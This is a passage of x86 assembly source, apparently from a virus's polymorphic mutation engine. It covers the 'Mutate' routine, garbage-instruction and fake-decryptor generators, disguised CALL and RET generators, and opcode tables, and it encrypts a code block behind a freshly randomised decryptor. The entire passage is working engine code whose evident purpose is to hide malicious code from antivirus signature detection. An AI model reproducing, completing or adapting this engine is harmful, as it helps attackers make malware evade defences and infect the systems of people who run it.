done_xtended:   call size_correct

                pop ebx

                mov dl,byte ptr [ebp+fake_index_mask]
                lodsb
                mov cl,al
                or al,al
                jnz arn_reg_01
                cmp dl,00000101b
                jne arn_reg_01
                lodsb
                add al,40h
                stosb
                jmp short arn_reg_02
arn_reg_01:     movsb
arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,dl
                stosb
                or cl,cl
                jnz arn_reg_03
                cmp dl,00000101b
                jne arn_reg_03
                xor al,al
                stosb

		;============================================================
		;Restore aux reg state
		;============================================================

arn_reg_03:     xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;============================================================
		;Get post-build flags
		;============================================================

common_part:    lodsb

		;============================================================
                ;Insert displacement from real address?
		;============================================================

                test al,MAGIC_PUTDISP
                jz skip_disp
                push eax
                mov eax,dword ptr [ebp+fake_ptr_disp]
                sub eax,dword ptr [ebp+disp2disp]
                neg eax
                stosd
                pop eax

		;============================================================
		;Insert key?
		;============================================================

skip_disp:      test al,MAGIC_PUTKEY
                jz skip_key
                call copy_key

skip_key:       ret

;============================================================================
;Choose a magic generator
;============================================================================

choose_magic:   mov eax,00000006h
                call get_rnd_range
                add edx,ebp
                lea esi,dword ptr [edx+eax*04h]
                lodsd
                add eax,ebp
                mov esi,eax
                ret

;============================================================================
;Do operand size correction
;============================================================================

size_correct:   lodsb
                mov ah,byte ptr [ebp+fake_oper_size]
                cmp ah,01h
                je store_correct
                inc al
                cmp ah,04h
                je store_correct
                mov ah,66h
                xchg ah,al
                stosw
                ret
store_correct:  stosb
                ret

;============================================================================
;Load aux reg with displacement
;============================================================================

		;============================================================
		;Get a valid auxiliary register
		;============================================================

load_aux:       push eax
                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		;============================================================
                ;Move displacement into aux reg
		;============================================================

                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                pop eax
                neg eax
                stosd
                ret

;============================================================================
;Generate push reg + garbage + pop reg
;============================================================================

g_push_g_pop:   call gen_garbage

		call get_rnd32
		test al,01h
		jnz skip_sp_push

		call push_with_sp
		jmp short from_push

skip_sp_push:   call get_rnd_reg
                mov al,50h
                or al,byte ptr [ebx+REG_MASK]
                stosb
		call gen_garbage

from_push:	call get_rnd32
		test al,01h
		jz pop_with_sp

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb

		call gen_garbage
                ret

;============================================================================
;Emulate a PUSH instruction, using SUB ESP,00000004h
;============================================================================

push_with_sp:	mov eax,0004EC83h
		stosd
		dec edi
		call GenGarbageEx
		ret

;============================================================================
;Emulate a POP instruction, using ADD ESP,00000004h
;============================================================================

pop_with_sp:	mov eax,0004C483h
		stosd
		dec edi
		call GenGarbageEx
		ret

;============================================================================
;Generate RET in different ways
;============================================================================

gen_ret:	call get_rnd32
		and al,01h
		jnz just_ret

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
		or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		push ebx
		call GenGarbageEx
		pop ebx
		xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		mov ax,0E0FFh
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		ret

just_ret:	mov al,0C3h
                stosb
		ret

;============================================================================
;Generate CALL without return
;============================================================================

g_call_cont:    mov al,0E8h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                call GenGarbageEx

		call get_rnd32
		test al,01h
		jz pop_with_sp

		call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb

		call gen_garbage
                ret

;============================================================================
;Generate unconditional jumps
;============================================================================

g_jump_u:       mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
		call GenGarbageEx
                ret

g_save_jump:	mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;============================================================================
;Generate conditional jumps
;============================================================================

g_jump_c:       call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
                push edi
                stosd
                call GenGarbageEx
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
		call GenGarbageEx
                ret

g_save_jump_c:	call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
		xor eax,eax
                stosd
		ret

;============================================================================
;Generate MOV [mem],reg
;============================================================================

gen_mov_mem8:	mov dl,88h
		jmp mem8wr
gen_mov_mem16:	mov al,66h
		stosb
gen_mov_mem32:	mov dl,89h
		jmp gen_mem_wr

gen_add_mem8:	mov dl,00h
		jmp mem8wr
gen_add_mem16:	mov al,66h
		stosb
gen_add_mem32:	mov dl,01h
		jmp gen_mem_wr

gen_sub_mem8:	mov dl,28h
		jmp mem8wr
gen_sub_mem16:	mov al,66h
		stosb
gen_sub_mem32:	mov dl,29h
		jmp gen_mem_wr

gen_adc_mem8:	mov dl,10h
		jmp mem8wr
gen_adc_mem16:	mov al,66h
		stosb
gen_adc_mem32:	mov dl,11h
		jmp gen_mem_wr

gen_sbb_mem8:	mov dl,18h
		jmp mem8wr
gen_sbb_mem16:	mov al,66h
		stosb
gen_sbb_mem32:	mov dl,19h
		jmp gen_mem_wr

gen_or_mem8:	mov dl,08h
		jmp mem8wr
gen_or_mem16:	mov al,66h
		stosb
gen_or_mem32:	mov dl,09h
		jmp gen_mem_wr

gen_and_mem8:	mov dl,20h
		jmp mem8wr
gen_and_mem16:	mov al,66h
		stosb
gen_and_mem32:	mov dl,21h
		jmp gen_mem_wr

gen_xor_mem8:	mov dl,30h
		jmp mem8wr
gen_xor_mem16:	mov al,66h
		stosb
gen_xor_mem32:	mov dl,31h
		jmp gen_mem_wr

mem8wr:		call gen_mem_wr
		call get_rnd32
		and al,20h
		or byte ptr [edi-00000005h],al
		ret

gen_mem_wr:	call get_rnd_reg
		mov ah,byte ptr [ebx+REG_MASK]
		or ah,ah
		jnz skip_wr_eax
		cmp dl,88h
		je gen_mem_wr
		cmp dl,89h
		je gen_mem_wr

skip_wr_eax:	shl ah,03h
		or ah,05h
		mov al,dl
		stosw

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
		lodsd
		push eax
		lodsd
		sub eax,00000004h
		call get_rnd_range
		pop edx
		add eax,edx
		stosd

		ret
								
;============================================================================
;Generate clc/stc/cmc/cld/std
;============================================================================

gen_save_code:  mov eax,end_save_code-tbl_save_code
                call get_rnd_range
                mov al,byte ptr [ebp+tbl_save_code+eax]
                stosb
                ret

;============================================================================
;Generate fake decrypt instructions
;============================================================================

gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h
		jae bad_fake_size

		cmp byte ptr [ebp+NumberOfDataAreas],02h				
		jb bad_fake_size

		push dword ptr [ebp+fake_ptr_disp]			
		push dword ptr [ebp+fake_crypt_key]			
		mov dl,byte ptr [ebp+fake_build_flags]
		mov dh,byte ptr [ebp+fake_index_mask]
		shl edx,08h
		mov dl,byte ptr [ebp+fake_oper_size]
		push edx

                call get_rnd32				;Get encryption key
                mov dword ptr [ebp+fake_crypt_key],eax                                  
                call get_rnd32				;Get generation flags
                mov byte ptr [ebp+fake_build_flags],al

                call get_rnd32			;Get size of mem operand
                and al,03h
                cmp al,01h
                je ok_fake_size
                cmp al,02h
                je ok_fake_size
                inc al
ok_fake_size:   mov byte ptr [ebp+fake_oper_size],al

                call get_rnd32			;Choose displacement				
                and eax,00000001h
                jz ok_fake_disp

		call get_rnd32
		call get_rnd_range				
		inc eax
		neg eax
ok_fake_disp:   mov dword ptr [ebp+fake_ptr_disp],eax

		movzx eax,byte ptr [ebp+NumberOfDataAreas]
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
		lodsd
		add eax,dword ptr [ebp+fake_ptr_disp]
		push eax
		lodsd
		sub eax,00000004h
		call get_rnd_range

		pop edx
		add eax,edx
		push eax				
					
	        call get_valid_reg

		or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
                mov al,byte ptr [ebx+REG_MASK]
		mov byte ptr [ebp+fake_index_mask],al
		or al,0B8h
                stosb
		pop eax
		stosd

		push ebx			
		call GenGarbageEx			;Garbage
		call fake_or_not
		call GenGarbageEx			;Garbage
		pop ebx

		xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

		pop eax
		mov byte ptr [ebp+fake_oper_size],al
		shr eax,08h
		mov byte ptr [ebp+fake_index_mask],ah
		mov byte ptr [ebp+fake_build_flags],al
		pop dword ptr [ebp+fake_crypt_key]
		pop dword ptr [ebp+fake_ptr_disp]
bad_fake_size:	ret

;============================================================================
;Get a ramdom reg
;============================================================================

get_rnd_reg:    mov eax,00000007h
                call get_rnd_range
                lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
                ret

;============================================================================
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;============================================================================

get_valid_reg:  call get_rnd_reg
                mov al,byte ptr [ebx+REG_FLAGS]
                and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
                jnz get_valid_reg
                ret

;============================================================================
;Load ecx with crypt_size / oper_size
;============================================================================

fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt]
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
                shr ecx,01h
                or ecx,ecx
                jz ok_2ecx
                shr eax,cl
                jnc ok_2ecx
                inc eax
ok_2ecx:        mov ecx,eax
                ret

;============================================================================
;Generate polymorphic decryptor... Whats new on this poly engine?
;
;On entry:
;		esi -> Pointer to code
;		edi -> Where to generate polymorphic decryptor
;		ecx -> Size of area to encrypt
;		edx -> Entry point to code once decrypted
;On exit:
;		ecx -> Decryptor size
;		edi -> End of decryptor
;
;============================================================================

Mutate:		push ebx				;Save base address
		add edx,ebx
		mov dword ptr [ebp+PtrToEP],edx	;Save ptr to entry-point

		mov dword ptr [ebp+PtrToCrypt],esi	;Save crypt offset
		mov dword ptr [ebp+PtrToDecrypt],edi
		mov dword ptr [ebp+SizeCrypt],ecx	;Save size of block				
				
		lea esi,dword ptr [ebp+tbl_startup]
                lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
                mov ecx,00000007h
loop_init_regs: lodsb
                stosb
                inc edi
                loop loop_init_regs

                xor eax,eax
		mov byte ptr [ebp+NumberOfDataAreas],al	;Clear # of data area
		mov byte ptr [ebp+recursive_level],al	;Clear recursive

		mov ecx,NUM_DA
		lea edi,dword ptr [ebp+tbl_data_area]	;Init data areas
loop_init_da:	stosd
		stosd
		loop loop_init_da

                call get_valid_reg			
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+index_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

                xor eax,eax
                mov ecx,00000005h
                lea edi,dword ptr [ebp+style_table+00000004h]
clear_style:    stosd
                add edi,00000004h
                loop clear_style

                call get_valid_reg		
                mov al,byte ptr [ebx+REG_MASK]
                mov byte ptr [ebp+counter_mask],al
                or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

                call get_rnd32				
                and eax,00000001h
                jz ok_disp
                call get_rnd32
ok_disp:        mov dword ptr [ebp+ptr_disp],eax

                call get_rnd32				
                mov dword ptr [ebp+crypt_key],eax
                                  
                call get_rnd32				
                mov byte ptr [ebp+build_flags],al

                call get_rnd32			
                and al,03h
                cmp al,01h
                je get_size_ok
                cmp al,02h
                je get_size_ok
                inc al
get_size_ok:    mov byte ptr [ebp+oper_size],al

		mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor

                call gen_rnd_block	;Random data block
                mov ecx,00000005h	;Generate 5 routines

do_subroutine:  push ecx

routine_done:   mov eax,00000005h			;Random step
                call get_rnd_range
                lea esi,dword ptr [ebp+style_table+eax*08h]
                
                xor edx,edx				;Already generated?
                cmp dword ptr [esi+00000004h],edx
                jne routine_done

                push edi				;Generate routine
                call GenGarbageEx
                lodsd
                pop dword ptr [esi]
                add eax,ebp
                call eax
                call GenGarbageEx

		call gen_ret
				
		call gen_rnd_block
                
                pop ecx				;Generate next subroutine
                loop do_subroutine
				
		mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point

		;============================================================
		;If this is the 1st decryptor we need to save
		;some regs
		;============================================================

		cmp byte ptr [ebp+IsFirst],00h
		je SkipSaveRegs

		mov al,REG_READ_ONLY

		or byte ptr [ebp+tbl_reg_ebx+01h],al
		or byte ptr [ebp+tbl_reg_esi+01h],al
		or byte ptr [ebp+tbl_reg_edi+01h],al
		or byte ptr [ebp+tbl_reg_ebp+01h],al

		mov byte ptr [ebp+recursive_level],04h

		mov ecx,00000004h
		lea esi,dword ptr [ebp+PshPStepIndex]
DoRestorePush:	push ecx
		push esi		

		call GenInitGarbage

		pop esi

		lodsd
		lea edx,dword ptr [ebp+eax+TblDoPush]
		mov al,byte ptr [edx]
		stosb
		mov dl,not REG_READ_ONLY

TryToFixEBX:	cmp al,053h
		jne TryToFixESI

		and byte ptr [ebp+tbl_reg_ebx+01h],dl
		jmp ShitIsFixed

TryToFixESI:	cmp al,056h
		jne TryToFixEDI

		and byte ptr [ebp+tbl_reg_esi+01h],dl
		jmp ShitIsFixed

TryToFixEDI:	cmp al,057h
		jne TryToFixEBP

		and byte ptr [ebp+tbl_reg_edi+01h],dl
		jmp ShitIsFixed

TryToFixEBP:	cmp al,055h
		jne ShitIsFixed

		and byte ptr [ebp+tbl_reg_ebp+01h],dl

ShitIsFixed:	pop ecx

		loop DoRestorePush

		mov byte ptr [ebp+recursive_level],00h

		and byte ptr [ebp+tbl_reg_ebx+01h],dl
		and byte ptr [ebp+tbl_reg_esi+01h],dl
		and byte ptr [ebp+tbl_reg_edi+01h],dl
		and byte ptr [ebp+tbl_reg_ebp+01h],dl

		;============================================================
		;Build the JZ/JNZ instruction (at the end of the decryptor 
		;loop) at runtime
		;============================================================

SkipSaveRegs:	call GenGarbageEx

		test byte ptr [ebp+build_flags],CRYPT_FOG
		jz NoEndFog

FuckFogEBP:	call get_valid_reg
		cmp byte ptr [ebx+REG_MASK],00000101b
		je FuckFogEBP

                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		mov dword ptr [ebp+XrndReg],ebx

		push ebx

		mov al,byte ptr [ebx+REG_MASK]
		or al,0B8h
		stosb
		call get_rnd32
		stosd
		mov dword ptr [ebp+Xrnd1],eax

		call GenGarbageEx

		mov dword ptr [ebp+XrndFixPtr],edi
		add edi,00000006h

		call gen_garbage

		mov dword ptr [ebp+XrndMath],edi
		add edi,00000006h

		pop ebx

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

		call gen_garbage

		;============================================================
		;Generate CALLs to each routine inside garbage code
		;============================================================

NoEndFog:       lea esi,dword ptr [ebp+style_table+00000004h]
                mov ecx,00000005h

do_call:        push ecx			;Gen CALL to each step
                cmp ecx,00000003h
                jne is_not_loop
                call GenGarbageEx
                mov dword ptr [ebp+loop_point],edi
is_not_loop:    call GenGarbageEx
		
		call get_rnd32
		and al,01h
		jz MutateCall

StandardCall:	mov al,0E8h			;CALL opcode
                stosb
                lodsd
                sub eax,edi
                sub eax,00000004h
                stosd
		jmp DoneMutateCall

CallStepADD:	mov ax,0C081h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		lodsd
		call FromPoly2Rva
		sub eax,edx
		stosd
		ret

CallStepSUB:	mov ax,0E881h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		lodsd
		call FromPoly2Rva
		neg eax
		add eax,edx
		stosd
		ret

CallStepXOR:	mov ax,0F081h
		or ah,byte ptr [ebx+REG_MASK]
		stosw
		lodsd
		call FromPoly2Rva
		xor eax,edx
		stosd
		ret

MutateCall:	push esi
		call get_valid_reg
		or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
		mov al,0B8h
		or al,byte ptr [ebx+REG_MASK]
		stosb
		call get_rnd32
		stosd
		push eax
		push ebx
		call GenGarbageEx
		pop ebx
		mov eax,NumCallStep
		call get_rnd_range
		lea esi,dword ptr [ebp+tbl_call_step+eax*04h]
		lodsd
		add eax,ebp
		pop edx
		pop esi
		push ebx
		call eax
		call GenGarbageEx
		pop ebx
		mov ax,0D0FFh
		or ah,byte ptr [ebx+REG_MASK]
		stosw
                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

DoneMutateCall:	call GenGarbageEx
                lodsd
                pop ecx
                loop do_call

                call GenGarbageEx		;End condition
                call gen_loop
		call gen_rnd_block

		pop ebx

		push edi
                sub edi,dword ptr [ebp+PtrToDecrypt]
		push edi

		mov edi,dword ptr [ebp+PtrToCrypt]
		add edi,ebx
                call fixed_size2ecx		;Encrypt requested area
loop_hide_code: push ecx
                mov eax,dword ptr [edi]
                call perform_crypt
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
loop_copy_res:  stosb
                shr eax,08h
                loop loop_copy_res
                pop ecx
                loop loop_hide_code

		mov edx,dword ptr [ebp+entry_point]

		sub edx,ebx			;Get entry-point offset

		pop ecx
		pop edi
				
		ret

;============================================================================
;Poly engine initialized data
;============================================================================

                ;============================================================
                ;Register table
                ;
                ; 00h -> BYTE -> Register mask
                ; 01h -> BYTE -> Register flags
                ;============================================================

tbl_regs        equ $

                db 00000000b,REG_READ_ONLY      ;eax
tbl_reg_ebx	db 00000011b,00h                ;ebx
                db 00000001b,00h                ;ecx
                db 00000010b,00h                ;edx
tbl_reg_esi	db 00000110b,REG_NO_8BIT        ;esi
tbl_reg_edi	db 00000111b,REG_NO_8BIT        ;edi
tbl_reg_ebp	db 00000101b,REG_NO_8BIT        ;ebp

end_regs        equ $

                ;============================================================
                ;Aliases for reg table structure
                ;============================================================

REG_MASK        equ 00h
REG_FLAGS       equ 01h

                ;============================================================
                ;Bit aliases for reg flags
                ;============================================================

REG_IS_INDEX    equ 01h         ;Register used as main index register
REG_IS_COUNTER  equ 02h         ;This register is used as loop counter
REG_READ_ONLY   equ 04h         ;Never modify the value of this register
REG_NO_8BIT     equ 08h         ;ESI EDI and EBP havent 8bit version

                ;============================================================
                ;Initial reg flags
                ;============================================================

tbl_startup     equ $

                db REG_READ_ONLY        ;eax
                db 00h                  ;ebx
                db 00h                  ;ecx
                db 00h                  ;edx
                db REG_NO_8BIT          ;esi
                db REG_NO_8BIT          ;edi
                db REG_NO_8BIT          ;ebp

                ;============================================================
                ;Code that does not disturb reg values
                ;============================================================

tbl_save_code   equ $

                clc
                stc
                cmc
                cld
                std
                
end_save_code   equ $

                ;============================================================
                ;Generators for [reg] indexing mode
                ;============================================================

tbl_idx_reg     equ $

                dd offset xx_inc_reg
                dd offset xx_dec_reg
                dd offset xx_not_reg
                dd offset xx_add_reg
                dd offset xx_sub_reg
                dd offset xx_xor_reg

                ;============================================================
                ;Generators for [reg+imm] indexing mode
                ;============================================================

tbl_dis_reg     equ $

                dd offset yy_inc_reg
                dd offset yy_dec_reg
                dd offset yy_not_reg
                dd offset yy_add_reg
                dd offset yy_sub_reg
                dd offset yy_xor_reg

                ;============================================================
                ;Generators for [reg+reg] indexing mode
                ;============================================================

tbl_xtended     equ $

                dd offset zz_inc_reg
                dd offset zz_dec_reg
                dd offset zz_not_reg
                dd offset zz_add_reg
                dd offset zz_sub_reg
                dd offset zz_xor_reg

                ;============================================================
                ;Generators for [reg+reg+imm] indexing mode
                ;============================================================

tbl_paranoia    equ $

                dd offset ii_inc_reg
                dd offset ii_dec_reg
                dd offset ii_not_reg
                dd offset ii_add_reg
                dd offset ii_sub_reg
                dd offset ii_xor_reg

                ;============================================================
                ;Opcodes for math reg,imm
                ;============================================================

tbl_math_imm    equ $

                db 0C0h                         ;add
                db 0C8h                         ;or
                db 0E0h                         ;and
                db 0E8h                         ;sub
                db 0F0h                         ;xor
                db 0D0h                         ;adc
                db 0D8h                         ;sbb

end_math_imm    equ $

                ;============================================================
                ;Magic aliases
                ;============================================================

MAGIC_PUTKEY    equ 01h
MAGIC_PUTDISP   equ 02h
MAGIC_ENDSTR    equ 0FFh
MAGIC_ENDKEY    equ 0FEh
MAGIC_CAREEBP   equ 00h
MAGIC_NOTEBP    equ 0FFh

                ;============================================================
                ;Magic data
                ;============================================================

xx_inc_reg      db 0FEh
                db MAGIC_CAREEBP                
                db 00h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

xx_dec_reg      db 0FEh
                db MAGIC_CAREEBP                                
                db 08h
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

xx_not_reg      db 0F6h
                db MAGIC_CAREEBP                
                db 10h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

xx_add_reg      db 80h
                db MAGIC_CAREEBP
                db 00h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

xx_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 28h
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword
                  
xx_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 30h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

yy_inc_reg      db 0FEh
                db MAGIC_NOTEBP                
                db 80h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

yy_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 88h
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

yy_not_reg      db 0F6h
                db MAGIC_NOTEBP                
                db 90h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

yy_add_reg      db 80h
                db MAGIC_NOTEBP
                db 80h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

yy_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0A8h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

yy_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B0h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

zz_inc_reg      db 0FEh
                db MAGIC_CAREEBP
                db 04h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

zz_dec_reg      db 0FEh
                db MAGIC_CAREEBP
                db 0Ch
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

zz_not_reg      db 0F6h
                db MAGIC_CAREEBP
                db 14h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

zz_add_reg      db 80h
                db MAGIC_CAREEBP
                db 04h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

zz_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 2Ch
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

zz_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 34h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

ii_inc_reg      db 0FEh
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

ii_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 8Ch
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

ii_not_reg      db 0F6h
                db MAGIC_NOTEBP
                db 94h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

ii_add_reg      db 80h
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

ii_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0ACh
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

ii_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B4h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

                ;============================================================
                ;Reverse-code strings
                ;============================================================

x_inc_reg_byte  db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word  db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte  db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word  db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte  db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word  db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte  db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word  db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte  db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word  db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte  db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word  db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

                ;============================================================
                ;Format for each style-table entry:
                ;
                ; 00h -> DWORD -> Address of generator
                ; 04h -> DWORD -> Address of generated subroutine or
                ;                 00000000h if not yet generated
                ;
                ;============================================================

style_table     equ $

                dd offset gen_load_ptr
                dd 00000000h

                dd offset gen_load_ctr
                dd 00000000h

                dd offset gen_decrypt
                dd 00000000h

                dd offset gen_next_step
                dd 00000000h

                dd offset gen_next_ctr
                dd 00000000h

                ;============================================================
                ;Generators for incrementing the index register
                ;============================================================

tbl_idx_up	equ $

		dd offset IdxUpWithADD
		dd offset IdxUpWithSUB
		dd offset IdxUpWithINC
		dd offset IdxUpADDADD
		dd offset IdxUpADDSUB
		dd offset IdxUpSUBSUB
		dd offset IdxUpSUBADD

NumIdxUp	equ ($-tbl_idx_up)/04h

                ;============================================================
                ;Misc generators
                ;============================================================

tbl_jmp_end	equ $

		dd offset jmpendregadd
		dd offset jmpendregsub
		dd offset jmpendregxor

NumJmpEnd	equ ($-tbl_jmp_end)/04h

tbl_call_step	equ $

		dd offset CallStepADD
		dd offset CallStepSUB
		dd offset CallStepXOR

NumCallStep	equ ($-tbl_call_step)/04h

TblDoFog	equ $

		dd offset DoFogAdd
		dd offset DoFogSub
		dd offset DoFogXor

NumFog		equ ($-TblDoFog)/04h

TblFixFog	equ $

		dd offset FixFogAdd
		dd offset FixFogSub
		dd offset FixFogXor

NumFixFog	equ ($-TblFixFog)/04h

                ;============================================================
                ;Generators for decrementing the index register
                ;============================================================

tbl_idx_down	equ $

		dd offset IdxDownWithADD
		dd offset IdxDownWithSUB
		dd offset IdxDownWithDEC
		dd offset IdxDownADDADD
		dd offset IdxDownADDSUB
		dd offset IdxDownSUBSUB
		dd offset IdxDownSUBADD

NumIdxDown	equ ($-tbl_idx_down)/04h

                ;============================================================
                ;Garbage code generators
                ;============================================================

tbl_i_g		equ $

                dd offset gen_save_code		;clc stc cmc cld std
		dd offset gen_mov_mem32		;mov mem,reg32
		dd offset gen_mov_mem16		;mov mem,reg16
		dd offset gen_mov_mem8		;mov mem,reg8
		dd offset gen_add_mem32		;add mem,reg32
		dd offset gen_add_mem16		;add mem,reg16
		dd offset gen_add_mem8		;add mem,reg8
		dd offset gen_sub_mem32		;sub mem,reg32
		dd offset gen_sub_mem16		;sub mem,reg16
		dd offset gen_sub_mem8		;sub mem,reg8
		dd offset gen_adc_mem32		;adc mem,reg32
		dd offset gen_adc_mem16		;adc mem,reg16
		dd offset gen_adc_mem8		;adc mem,reg8
		dd offset gen_sbb_mem32		;sbb mem,reg32
		dd offset gen_sbb_mem16		;sbb mem,reg16
		dd offset gen_sbb_mem8		;sbb mem,reg8
		dd offset gen_or_mem32		;or mem,reg32
		dd offset gen_or_mem16		;or mem,reg16
		dd offset gen_or_mem8		;or mem,reg8
		dd offset gen_and_mem32		;and mem,reg32
		dd offset gen_and_mem16		;and mem,reg16
		dd offset gen_and_mem8		;and mem,reg8
		dd offset gen_xor_mem32		;xor mem,reg32
		dd offset gen_xor_mem16		;xor mem,reg16
		dd offset gen_xor_mem8		;xor mem,reg8

end_i_g		equ $

tbl_garbage     equ $

                dd offset gen_save_code		;clc stc cmc cld std
                dd offset g_movreg32imm         ;mov reg32,imm
                dd offset g_movreg16imm         ;mov reg16,imm
